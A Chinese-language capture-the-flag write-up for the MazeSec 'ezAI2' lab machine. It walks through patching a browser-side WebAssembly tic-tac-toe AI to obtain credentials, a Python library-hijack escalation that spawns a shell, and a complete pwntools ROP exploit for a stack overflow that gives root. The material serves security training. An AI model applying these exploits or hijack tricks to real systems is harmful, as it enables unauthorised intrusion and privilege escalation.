Sublarge

// 红队渗透 · 2026-02-28

MazeSec-ezAI2 靶机WP

本靶机涵盖前端 Wasm 漏洞利用、Python 提权、二进制 PWN、ROP 链构造等硬核知识点。亮点:花式破解无敌 AI 棋局——直接篡改 Wasm 模块、反转 Minimax 算法让 AI 变笨,或动态调试篡改 Wasm 共享内存,强行获胜拿权限。

靶机信息

MazeSec原创靶机 maze-sec.com

作者:Yolo

系统:Linux

难度:Medium

一、信息搜集

这里我们使用rustscan对目标IP 192.168.1.18 进行端口探测,rustscan作为现代端口扫描工具,具备扫描速度快、资源占用低的特点,--ulimit 5000用于提升系统文件描述符限制以支持高效扫描,-sV则用于识别端口对应的服务版本:

❯ rustscan -a 192.168.1.18 --ulimit 5000 -- -sV
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Open ports, closed hearts.

[~] The config file is expected to be at "/home/yolo/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 192.168.1.18:22
Open 192.168.1.18:8080
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -sV" on ip 192.168.1.18
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-26 18:03 CST
NSE: Loaded 47 scripts for scanning.
Initiating Ping Scan at 18:03
Scanning 192.168.1.18 [2 ports]
Completed Ping Scan at 18:03, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:03
Completed Parallel DNS resolution of 1 host. at 18:03, 0.16s elapsed
DNS resolution of 1 IPs took 0.16s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 18:03
Scanning 192.168.1.18 [2 ports]
Discovered open port 8080/tcp on 192.168.1.18
Discovered open port 22/tcp on 192.168.1.18
Completed Connect Scan at 18:03, 0.00s elapsed (2 total ports)
Initiating Service scan at 18:03
Scanning 2 services on 192.168.1.18
Completed Service scan at 18:03, 6.06s elapsed (2 services on 1 host)
NSE: Script scanning 192.168.1.18.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 18:03
Completed NSE at 18:03, 0.01s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 18:03
Completed NSE at 18:03, 0.00s elapsed
Nmap scan report for 192.168.1.18
Host is up, received conn-refused (0.00061s latency).
Scanned at 2026-02-26 18:03:14 CST for 6s

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
8080/tcp open  http    syn-ack Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.37 seconds

扫描结果显示目标开放了22(SSH)和8080(HTTP)两个端口,其中8080端口运行的是基于Go语言的HTTP服务,进一步访问后确认该端口部署了一个井字棋(Tic Tac Toe)游戏应用,这成为我们后续渗透的核心突破口。

二、Tic Tac Toe 游戏突破

2.1 漏洞原理分析

该井字棋游戏的核心机制是:玩家先手、AI后手,且AI采用最优策略(几乎无法战胜)。通过审计前端代码发现,游戏逻辑由Go编译的WebAssembly(Wasm)模块在本地浏览器端执行(而非服务端),这是关键漏洞点——本地执行的代码可被篡改,从而修改AI的决策逻辑。

首先看Wasm模块的初始化代码,wasm_exec.js是Go官方提供的适配层,用于让Go编译的Wasm模块在JS环境中运行:

// Wasm模块初始化核心代码
async function init() {
    const result = await WebAssembly.instantiateStreaming(fetch("main.wasm"), go.importObject);
    go.run(result.instance);
    
    const resp = await fetch("/init");
    const data = await resp.json();
    sessionID = data.session_id;
    document.getElementById('sid').innerText = sessionID;
    
    // 初始化Wasm游戏状态
    initGame(sessionID, data.seed);
    
    // 启用玩家回合
    isPlayerTurn = true;
    document.getElementById('status').innerText = "YOUR TURN (X)";
}

2.2 方法一:篡改Wasm模块修改AI策略

2.2.1 反编译Wasm文件

首先使用wasm2wat工具将二进制格式的Wasm文件转换为文本格式(WAT),便于逆向分析和修改:

❯ wasm2wat main.wasm -o main.wat

工具链接:https://github.com/WebAssembly/wabt

2.2.2 定位核心函数

Go编译的Wasm文件中,业务逻辑函数通常以main.为前缀,反编译后可定位到7个核心函数(前面是行数,大家如果都用最新的wasm2wat,反编译出来的信息应该是一样的):

776821 (func $main.main (type 0) (param i32) (result i32)
777515 (func $main.initGame (type 0) (param i32) (result i32)
778097 (func $main.updateProof (type 0) (param i32) (result i32)
778902 (func $main.getCurrentProof (type 0) (param i32) (result i32)
779325 (func $main.getAIMove (type 0) (param i32) (result i32)
779786 (func $main.minimax (type 0) (param i32) (result i32)
780429 (func $main.checkWinner (type 0) (param i32) (result i32)

2.2.3 Minimax算法知识点说明

$main.minimax是AI决策的核心,Minimax(极小极大)算法是博弈论中经典的决策算法,核心逻辑是:

  • AI作为“最大化者”,试图选择能让自身得分最高的落子位置;
  • 假设玩家作为“最小化者”,会选择对AI最不利的落子位置;
  • 通过递归遍历所有可能的棋局,计算每个位置的得分,最终选择最优解。

以下是Minimax算法的伪代码示例,帮助理解核心逻辑:

function minimax(board, depth, isMaximizing):
    # 1. 检查胜负状态
    winner = checkWinner(board)
    
    # 胜负/平局判定(评分规则)
    # AI赢(玩家2): +10 - 步数(鼓励快速获胜)
    # 人类赢(玩家1): 步数 - 10(惩罚失败)
    # 平局: 0
    if winner == AI:
        return 10 - depth
    if winner == HUMAN:
        return depth - 10
    if board_is_full():
        return 0

    # 2. 递归搜索所有可能的落子
    if isMaximizing:  # AI回合(最大化得分)
        bestScore = -10000  # 初始低分,确保首个合法落子能更新
        for each cell in board:
            if cell is empty:
                cell = AI              # 模拟落子
                score = minimax(board, depth + 1, False)
                cell = empty           # 撤销落子
                bestScore = max(score, bestScore)  # 选最高分
        return bestScore

    else:  # 玩家回合(最小化AI得分)
        bestScore = 10000  # 初始高分,确保首个合法落子能更新
        for each cell in board:
            if cell is empty:
                cell = HUMAN           # 模拟玩家落子
                score = minimax(board, depth + 1, True)
                cell = empty           # 撤销落子
                bestScore = min(score, bestScore)  # 选最低分
        return bestScore

2.2.4 篡改AI策略

AI的最优策略依赖两个关键参数:

  1. 初始最高分:在780023行定义为i64.const -10000(AI初始目标是找最高分);
  2. 比较逻辑:在780067行定义为i64.lt_s(判断新得分是否大于当前最高分)。

要让AI选择最差策略,需修改:

  • 初始分数:i64.const -10000 → i64.const 10000(AI初始目标变为找最低分);
  • 比较逻辑:i64.lt_s → i64.gt_s(判断新得分是否小于当前最低分)。

修改位置参考下图断点标注区域:

2.2.5 重新编译Wasm文件

修改完成后,使用wat2wasm将WAT文件编译回二进制Wasm文件:

❯ wat2wasm ./main.wat -o main_patched.wasm

编译过程如下图所示:

2.2.6 本地替换验证

在浏览器开发者工具(DevTools)的「源代码」面板中启用「本地替换」功能,将修改后的main_patched.wasm替换原文件,刷新页面后AI策略失效,随意落子即可获胜,最终获取用户凭据:ttt:1q2w3e4r@Dashazi。

2.3 方法二:动态调试篡改Wasm内存

该方法利用WebAssembly与JavaScript共享内存的特性,直接篡改游戏内存中的落子记录,绕过AI的Minimax策略(本质是替AI落子,让玩家直接获胜)。

2.3.1 核心原理

Wasm与JS运行在同一内存空间,可通过JS直接修改Wasm中的棋盘状态和落子记录,同时调用updateProof生成合法的证明值(服务端仅校验证明值合法性,不校验落子来源)。

2.3.2 利用脚本(exp.js)

在浏览器控制台执行以下脚本,直接伪造获胜的落子序列:

(async () => {
    await new Promise(r => setTimeout(r, 1000));
    const wasmInstance = go._inst;
    if (!wasmInstance) {
        console.error("[!] Wasm instance not found. Make sure the game is loaded.");
        return;
    }

    const mem = new Uint8Array(wasmInstance.exports.mem.buffer);
    console.log("[*] Memory size:", mem.length);
    
    board = [0, 0, 0, 0, 0, 0, 0, 0, 0];
    moves = [];
    gameOver = false;
    isPlayerTurn = true;
    const winningMoves = [
        { pos: 0, player: 1 },
        { pos: 1, player: 2 }, 
        { pos: 4, player: 1 },
        { pos: 3, player: 2 },
        { pos: 6, player: 1 },
        { pos: 5, player: 2 },
        { pos: 2, player: 1 }
    ];
    for (let i = 0; i < winningMoves.length; i++) {
        const move = winningMoves[i];
        board[move.pos] = move.player;
        moves.push(move.pos);
        updateProof(move.pos, i);
        
        console.log(`[*] Move ${i + 1}: Player ${move.player} at position ${move.pos}`);
    }
    updateUI();
    
    console.log("[*] Final board state:", board);
    console.log("[*] Moves sequence:", moves);

    if (checkWin(1)) {
        console.log("[+] Win condition detected!");
        console.log("[*] Triggering win handler...");
        
        await handleWin();
    } else {
        console.error("[!] Win condition not met. Something went wrong.");
    }
})();

2.3.3 执行流程可视化

以下流程图清晰展示了脚本的执行逻辑:

2.3.4 执行效果

脚本执行后,控制台输出自定义的获胜棋谱,如下图所示:

2.4 其他可行方法

除上述两种核心方法外,还有多种进阶思路(难度更高):

  1. 逆向Proof算法:彻底反编译Wasm,还原updateProof的计算逻辑,直接生成合法的棋谱和证明值;
  2. 模拟Flag获取逻辑:反编译Wasm后,模拟服务端的Flag校验流程,直接计算出Flag;
  3. 复用AI的Proof值:劫持AI生成的Proof值并提交(该方法在本题中被禁用,但同类场景可复用)。

参考资料:作者此前分析的同类题目(Pragyan CTF):https://yo1o.top/post/pragyan-ctf/#tac-tic-toe

三、提权至yolo用户

3.1 获取ttt用户权限

通过破解井字棋游戏,拿到ttt用户的登录凭据:ttt:1q2w3e4r@Dashazi,登录后直接读取用户Flag:

ttt@ezAI2:~$ cat user.txt
flag{7f0a4a443fbb44179219......}

3.2 分析sudo权限

查看ttt用户的sudo权限,发现可无密码以yolo用户身份执行/opt/greeting.py:

ttt@ezAI2:~$ sudo -l
Matching Defaults entries for ttt on ezAI2:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ttt may run the following commands on ezAI2:
    (yolo) NOPASSWD: /usr/bin/python3 /opt/greeting.py

3.3 Python库劫持提权

3.3.1 提权原理

Python库劫持(Library Hijacking)是常见的提权手法:当Python脚本import模块时,会优先从当前目录加载模块,而非系统默认路径。若目标脚本导入了datetime等系统模块,且当前目录可写,即可创建同名恶意模块实现提权。

3.3.2 检查文件权限

ttt@ezAI2:/opt$ ls -la
total 16
drwxrwxrwt  3 root     root     4096 Feb 26 02:08 .
drwxr-xr-x 18 root     root     4096 Mar 18  2025 ..
drwxr-xr-x  3 www-data www-data 4096 Feb 26 01:13 challenge
-rw-r--r--  1 yolo     yolo     2837 Feb 26 01:57 greeting.py

/opt目录为rwxrwxrwt权限(任意用户可写),但greeting.py仅yolo用户可修改,因此选择库劫持而非文件篡改。

3.3.3 构造恶意模块

greeting.py首行是import datetime,因此在/opt目录创建datetime.py,写入恶意代码:

ttt@ezAI2:/opt$ nano datetime.py
ttt@ezAI2:/opt$ cat datetime.py
import os
os.system('/bin/sh')

3.3.4 执行提权

以yolo用户身份执行greeting.py,触发库劫持并获取yolo用户shell:

ttt@ezAI2:/opt$ sudo -u yolo /usr/bin/python3 /opt/greeting.py
$ id
uid=1001(yolo) gid=1001(yolo) groups=1001(yolo)
$ 

知识点补充:Python库加载优先级

  1. 内置模块(如sys、os);
  2. 当前执行目录(./);
  3. PYTHONPATH环境变量指定的路径;
  4. 系统默认库路径(如/usr/lib/python3.x/)。

四、提权至root用户

4.1 发现漏洞程序

切换到yolo用户家目录,发现一个属主为root、属组为yolo的ELF可执行文件waityou:

yolo@ezAI2:~$ ls -la
total 40
drwxr-xr-x 2 yolo yolo  4096 Feb 26 02:41 .
drwxr-xr-x 4 root root  4096 Feb 26 01:39 ..
-rw-r--r-- 1 yolo yolo   220 Apr 18  2019 .bash_logout
-rw-r--r-- 1 yolo yolo  3593 Feb 26 02:40 .bashrc
-rw-r--r-- 1 yolo yolo   807 Apr 18  2019 .profile
-rwxr-x--- 1 root yolo 17584 Feb 26 02:19 waityou
yolo@ezAI2:~$ file waityou
waityou: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1c2594cd6ab581fe9845ca56e3aa383739113557, for GNU/Linux 3.2.0, not stripped

执行该程序时提示端口被占用,查看端口和进程发现waityou已被root用户启动,监听本地9999端口:

yolo@ezAI2:~$ ./waityou
bind: Address already in use
yolo@ezAI2:~$ ss -tuln
Netid      State       Recv-Q      Send-Q           Local Address:Port            Peer Address:Port      
udp        UNCONN      0           0                      0.0.0.0:68                   0.0.0.0:*         
tcp        LISTEN      0           20                   127.0.0.1:9999                 0.0.0.0:*         
tcp        LISTEN      0           128                    0.0.0.0:22                   0.0.0.0:*         
tcp        LISTEN      0           128                          *:8080                       *:*         
tcp        LISTEN      0           128                       [::]:22                      [::]:*  
yolo@ezAI2:~$ ps aux | grep waityou
root         337  0.0  0.0   2228   556 ?        Ss   10:02   0:00 /home/yolo/waityou
yolo         966  0.0  0.0   6176   640 pts/0    S+   12:36   0:00 grep waityou

4.2 端口转发(无nc环境)

靶机未安装nc,需通过端口转发访问本地9999端口,这里提供两种方法:

方法1:SSH隧道

本地执行SSH命令,将靶机9999端口映射到本地8888端口:

❯ ssh -L 8888:127.0.0.1:9999 yolo@192.168.1.18 -i ezai

新开终端连接本地8888端口:

❯ nc 127.0.0.1 8888
>>> Initializing romantic link...
>>> [LOG] 「私、幸せになる勇気がなかったの。」
>>> Enter Access Code: aaaaaa
Ncat: Broken pipe.

方法2:Chisel端口转发

Chisel是跨平台的端口转发工具,适用于无SSH隧道的场景:

# 靶机启动Chisel服务端
yolo@ezAI2:~$ ./chisel server -p 8000
2026/02/26 12:19:29 server: Fingerprint eiUOND5HyJVM/uxS5I/ceKLcAT+UeMCDBtVFVGa2srg=
2026/02/26 12:19:29 server: Listening on http://0.0.0.0:8000

# 本地启动Chisel客户端,映射靶机9999端口到本地8887端口
❯ ./chisel client 192.168.1.18:8000 8887:127.0.0.1:9999
2026/02/27 01:20:34 client: Connecting to ws://192.168.1.18:8000
2026/02/27 01:20:34 client: tun: proxy#8887=>9999: Listening
2026/02/27 01:20:34 client: Connected (Latency 691.265µs)

# 本地连接转发后的端口
❯ nc 127.0.0.1 8887
>>> Initializing romantic link...
>>> [LOG] 「私、幸せになる勇気がなかったの。」
>>> Enter Access Code:

4.3 逆向分析漏洞

4.3.1 程序功能

waityou是一个TCP服务端程序,核心逻辑:

  1. 创建socket,监听本地9999端口;
  2. 接受客户端连接,为每个连接创建子进程处理;
  3. 子进程调用vuln函数处理用户输入。

4.3.2 漏洞函数(vuln)

逆向得到vuln函数的C伪代码:

ssize_t __fastcall vuln(int a1)
{
  int v1; // eax
  _QWORD v3[6]; // [rsp+10h] [rbp-70h]
  _BYTE buf[64]; // [rsp+40h] [rbp-40h] BYREF

  dup2(a1, 0);
  dup2(a1, 1);
  dup2(a1, 2);
  v3[0] = &unk_402008;
  v3[1] = &unk_402040;
  v3[2] = &unk_4020A0;
  v3[3] = &unk_402100;
  v3[4] = &unk_402140;
  puts(">>> Initializing romantic link...");
  v1 = rand();
  printf(">>> %s", (const char *)v3[v1 % 5]);
  printf(">>> Enter Access Code: ");
  fflush(stdout);
  return read(0, buf, 256u); // 缓冲区溢出核心点
}

漏洞核心:buf缓冲区仅64字节(0x40),但read函数读取256字节输入,导致栈缓冲区溢出。

4.3.3 安全检查

使用checksec检查程序保护机制:

❯ checksec waityou
[*] '/home/yolo/timus/waityou'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

关键结论:

  • 无栈金丝雀(Stack Canary):可直接溢出返回地址;
  • 无PIE:程序地址固定,无需泄露基址;
  • NX开启:栈不可执行,需用ROP(Return-Oriented Programming)绕过。

4.4 ROP链构造

ROP(返回导向编程)是利用程序中已有的指令片段(Gadget)拼接成攻击逻辑的技术,核心是通过溢出覆盖返回地址,跳转到Gadget执行。

4.4.1 关键Gadget与地址

  1. “/bin/sh” 字符串地址:逆向发现hints变量定义为:char hints[] = "sh\0may be she is wait for you!!!";,由于C语言以\0为字符串结束符,hints实际指向"sh",地址为0x4040E0。

  1. pop rdi; ret Gadget:用于将参数存入RDI寄存器(64位Linux下函数参数优先通过寄存器传递,system函数的第一个参数存在RDI中):
❯ ROPgadget --binary waityou | grep "pop rdi ; ret"
0x0000000000401246 : pop rdi ; ret
  1. system函数地址:PLT(过程链接表)中的system函数地址:
❯ objdump -d waityou | grep "system@plt"
0000000000401050 <system@plt>:
  1. ret Gadget(栈对齐):64位系统要求栈地址16字节对齐,需额外的ret指令调整栈:
❯ ROPgadget --binary waityou | grep " : ret$"
0x0000000000401016 : ret

4.4.2 溢出偏移计算

vuln函数中buf位于[rbp-0x40],因此:

  • buf到rbp的偏移:0x40(64字节);
  • rbp本身占用:8字节;
  • 总填充长度(padding):64+8=72字节。

4.4.3 ROP链逻辑

padding(72字节) + ret(栈对齐) + pop rdi; ret + sh地址(0x4040E0) + system地址(0x401050)

执行流程:

  1. 溢出覆盖返回地址为ret(0x401016),调整栈对齐;
  2. 跳转到pop rdi; ret,将栈顶的0x4040E0弹出到RDI;
  3. 跳转到system函数,执行system("sh")获取root shell。

4.5 攻击脚本

from pwn import *

HOST = "127.0.0.1"
PORT = 8888

context.arch    = "amd64"
context.os      = "linux"
context.log_level = "info"

# 关键地址
POP_RDI_RET = 0x401246
SYSTEM_PLT  = 0x401050
HINTS_ADDR  = 0x4040e0
RET_GADGET  = 0x401016

# 溢出偏移
OFFSET = 72

def build_payload() -> bytes:
    padding  = b"A" * OFFSET
    rop_chain = flat(
        RET_GADGET,       # 栈对齐
        POP_RDI_RET,      # 弹出参数到RDI
        HINTS_ADDR,       # "sh"字符串地址
        SYSTEM_PLT        # 调用system
    )
    return padding + rop_chain

def pwn():
    payload = build_payload()

    log.info(f"Connecting to {HOST}:{PORT} ...")
    io = remote(HOST, PORT)
    io.recvuntil(b"Enter Access Code: ")
    log.info(f"Sending payload ({len(payload)} bytes) ...")
    io.send(payload)

    log.success("Successfully!!!")
    io.interactive()

if __name__ == "__main__":
    pwn()

4.6 执行脚本获取root权限

❯ python exp.py
[*] Connecting to 127.0.0.1:8888 ...
[+] Opening connection to 127.0.0.1 on port 8888: Done
[*] Sending payload (104 bytes) ...
[+] Successfully!!!
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ cat /root/root.txt
flag{4c00347e1f124840bc0a0.......}

五、总结

  1. WebAssembly本地执行漏洞:本地运行的Wasm模块可被篡改,核心是修改AI的Minimax算法参数或直接篡改内存,绕过服务端校验;
  2. Python库劫持提权:利用Python模块加载优先级,在可写目录创建同名模块,劫持系统库实现提权;
  3. ROP链栈溢出提权:64位程序栈溢出需关注寄存器传参规则和栈对齐要求,利用ROP Gadget拼接攻击逻辑,实现无NX绕过的root权限获取。

整个渗透流程覆盖了前端漏洞利用、权限提升、二进制漏洞挖掘与利用,核心思路是从信息搜集到逐层突破,利用目标系统的配置缺陷和程序漏洞实现全权限控制。

原文 https://xz.aliyun.com/news/91657